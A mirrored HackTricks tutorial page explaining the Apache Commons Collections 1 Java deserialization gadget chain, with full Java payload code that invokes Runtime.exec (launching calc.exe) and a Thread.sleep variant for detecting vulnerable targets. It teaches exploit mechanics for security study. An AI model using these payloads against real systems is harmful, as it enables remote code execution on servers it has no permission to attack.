mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
230 lines
8.4 KiB
Markdown
230 lines
8.4 KiB
Markdown
|
# CommonsCollection1 Payload - Java Transformers to Rutime exec\(\) and Thread Sleep
|
||
|
|
||
|
## Java Transformers to Rutime exec\(\)
|
||
|
|
||
|
In several places you can find a java deserialization payload that uses transformers from Apache common collections like the following one:
|
||
|
|
||
|
```java
|
||
|
import org.apache.commons.*;
|
||
|
import org.apache.commons.collections.*;
|
||
|
import org.apache.commons.collections.functors.*;
|
||
|
import org.apache.commons.collections.map.*;
|
||
|
import java.io.*;
|
||
|
import java.lang.reflect.InvocationTargetException;
|
||
|
import java.util.Map;
|
||
|
import java.util.HashMap;
|
||
|
|
||
|
public class CommonsCollections1PayloadOnly {
|
||
|
public static void main(String... args) {
|
||
|
String[] command = {"calc.exe"};
|
||
|
final Transformer[] transformers = new Transformer[]{
|
||
|
new ConstantTransformer(Runtime.class), //(1)
|
||
|
new InvokerTransformer("getMethod",
|
||
|
new Class[]{ String.class, Class[].class},
|
||
|
new Object[]{"getRuntime", new Class[0]}
|
||
|
), //(2)
|
||
|
new InvokerTransformer("invoke",
|
||
|
new Class[]{Object.class, Object[].class},
|
||
|
new Object[]{null, new Object[0]}
|
||
|
), //(3)
|
||
|
new InvokerTransformer("exec",
|
||
|
new Class[]{String.class},
|
||
|
command
|
||
|
) //(4)
|
||
|
};
|
||
|
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
|
||
|
Map map = new HashMap<>();
|
||
|
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
|
||
|
|
||
|
//Execute gadgets
|
||
|
lazyMap.get("anything");
|
||
|
}
|
||
|
}
|
||
|
```
|
||
|
|
||
|
If you don't know anything about java deserialization payloads could be difficult to figure out why this code will execute a calc.
|
||
|
|
||
|
First of all you need to know that a **Transformer in Java** is something that **receives a class** and **transforms it to a different one**.
|
||
|
Also it's interesting to know that the **payload** being **executed** here is **equivalent** to:
|
||
|
|
||
|
```java
|
||
|
Runtime.getRuntime().exec(new String[]{"calc.exe"});
|
||
|
```
|
||
|
|
||
|
Or **more exactly**, what is going to be executed at the end would be:
|
||
|
|
||
|
```java
|
||
|
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
|
||
|
```
|
||
|
|
||
|
### How
|
||
|
|
||
|
So, how is the first payload presented equivalent to those "simple" one-liners?
|
||
|
|
||
|
**First** of all, you can notice in the payload that a **chain \(array\) of transforms are created**:
|
||
|
|
||
|
```java
|
||
|
String[] command = {"calc.exe"};
|
||
|
final Transformer[] transformers = new Transformer[]{
|
||
|
//(1) - Get gadget Class (from Runtime class)
|
||
|
new ConstantTransformer(Runtime.class),
|
||
|
|
||
|
//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
|
||
|
new InvokerTransformer("getMethod",
|
||
|
new Class[]{ String.class, Class[].class},
|
||
|
new Object[]{"getRuntime", new Class[0]}
|
||
|
),
|
||
|
|
||
|
//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
|
||
|
new InvokerTransformer("invoke",
|
||
|
new Class[]{Object.class, Object[].class},
|
||
|
new Object[]{null, new Object[0]}
|
||
|
),
|
||
|
|
||
|
//(4) - Use the Runtime object to call exec with arbitrary commands
|
||
|
new InvokerTransformer("exec",
|
||
|
new Class[]{String.class},
|
||
|
command
|
||
|
)
|
||
|
};
|
||
|
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
|
||
|
|
||
|
```
|
||
|
|
||
|
If you read the code you will notice that if you somehow chains the transformation of the array you could be able to execute arbitrary commands.
|
||
|
|
||
|
So, **how are those transforms chained?**
|
||
|
|
||
|
```java
|
||
|
Map map = new HashMap<>();
|
||
|
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
|
||
|
lazyMap.get("anything");
|
||
|
```
|
||
|
|
||
|
In the last section of the payload you can see that a **Map object is created**. Then, the function `decorate` is executed from `LazyMap` with the map object and the chained transformers. From the following code you can see that this will cause the **chained transformers** to be copied inside `lazyMap.factory` attribute:
|
||
|
|
||
|
```java
|
||
|
protected LazyMap(Map map, Transformer factory) {
|
||
|
super(map);
|
||
|
if (factory == null) {
|
||
|
throw new IllegalArgumentException("Factory must not be null");
|
||
|
}
|
||
|
this.factory = factory;
|
||
|
}
|
||
|
```
|
||
|
|
||
|
And then the great finale is executed: `lazyMap.get("anything");`
|
||
|
|
||
|
This is the code of the `get` function:
|
||
|
|
||
|
```java
|
||
|
public Object get(Object key) {
|
||
|
if (map.containsKey(key) == false) {
|
||
|
Object value = factory.transform(key);
|
||
|
map.put(key, value);
|
||
|
return value;
|
||
|
}
|
||
|
return map.get(key);
|
||
|
}
|
||
|
```
|
||
|
|
||
|
And this is the code of the `transform` function
|
||
|
|
||
|
```java
|
||
|
public Object transform(Object object) {
|
||
|
for (int i = 0; i < iTransformers.length; i++) {
|
||
|
object = iTransformers[i].transform(object);
|
||
|
}
|
||
|
return object;
|
||
|
}
|
||
|
```
|
||
|
|
||
|
So, remember that inside **factory** we had saved **`chainedTransformer`** and inside of the **`transform`** function we are **going through all those transformers chained** and executing one after another. The funny thing, is that **each transformer is using `object`** **as input** and **object is the output from the last transformer executed**. Therefore, **all the transforms are chained executing the malicious payload**.
|
||
|
|
||
|
### Summary
|
||
|
|
||
|
At the end, due to how is lazyMap managing the chained transformers inside the get method, it's like if we were executing the following code:
|
||
|
|
||
|
```java
|
||
|
Object value = "someting";
|
||
|
|
||
|
value = new ConstantTransformer(Runtime.class).transform(value); //(1)
|
||
|
|
||
|
value = new InvokerTransformer("getMethod",
|
||
|
new Class[]{ String.class, Class[].class},
|
||
|
new Object[]{"getRuntime", null}
|
||
|
).transform(value); //(2)
|
||
|
|
||
|
value = new InvokerTransformer("invoke",
|
||
|
new Class[]{Object.class, Object[].class},
|
||
|
new Object[]{null, new Object[0]}
|
||
|
).transform(value); //(3)
|
||
|
|
||
|
value = new InvokerTransformer("exec",
|
||
|
new Class[]{String.class},
|
||
|
command
|
||
|
).transform(value); //(4)
|
||
|
```
|
||
|
|
||
|
_Note how `value` is the input of each transform and the output of the previous transform , allowing the execution of a one-liner:_
|
||
|
|
||
|
```java
|
||
|
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
|
||
|
```
|
||
|
|
||
|
Note that here it **was explained the gadgets** used for the **ComonsCollections1** payload. But it's left **how all this starts it's executing**. You can see [here that **ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java), in order to execute this payload, uses an `AnnotationInvocationHandler` object because **when this object gets deserialized**, it will **invoke** the `payload.get()` function that will **execute the whole payload**.
|
||
|
|
||
|
## Java Thread Sleep
|
||
|
|
||
|
This payload could be **handy to identify if the web is vulnerable as it will execute a sleep if it is**.
|
||
|
|
||
|
```java
|
||
|
import org.apache.commons.*;
|
||
|
import org.apache.commons.collections.*;
|
||
|
import org.apache.commons.collections.functors.*;
|
||
|
import org.apache.commons.collections.map.*;
|
||
|
import java.io.*;
|
||
|
import java.lang.reflect.InvocationTargetException;
|
||
|
import java.net.MalformedURLException;
|
||
|
import java.net.URL;
|
||
|
import java.util.Map;
|
||
|
import java.util.HashMap;
|
||
|
|
||
|
public class CommonsCollections1Sleep {
|
||
|
public static void main(String... args) {
|
||
|
final Transformer[] transformers = new Transformer[]{
|
||
|
new ConstantTransformer(Thread.class),
|
||
|
new InvokerTransformer("getMethod",
|
||
|
new Class[]{
|
||
|
String.class, Class[].class
|
||
|
},
|
||
|
new Object[]{
|
||
|
"sleep", new Class[]{Long.TYPE}
|
||
|
}),
|
||
|
new InvokerTransformer("invoke",
|
||
|
new Class[]{
|
||
|
Object.class, Object[].class
|
||
|
}, new Object[]
|
||
|
{
|
||
|
null, new Object[] {7000L}
|
||
|
}),
|
||
|
};
|
||
|
|
||
|
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
|
||
|
Map map = new HashMap<>();
|
||
|
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
|
||
|
|
||
|
//Execute gadgets
|
||
|
lazyMap.get("anything");
|
||
|
|
||
|
}
|
||
|
}
|
||
|
```
|
||
|
|
||
|
## More Gadgets
|
||
|
|
||
|
You can find more gadgets here: [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
||
|
|
||
|
##
|
||
|
|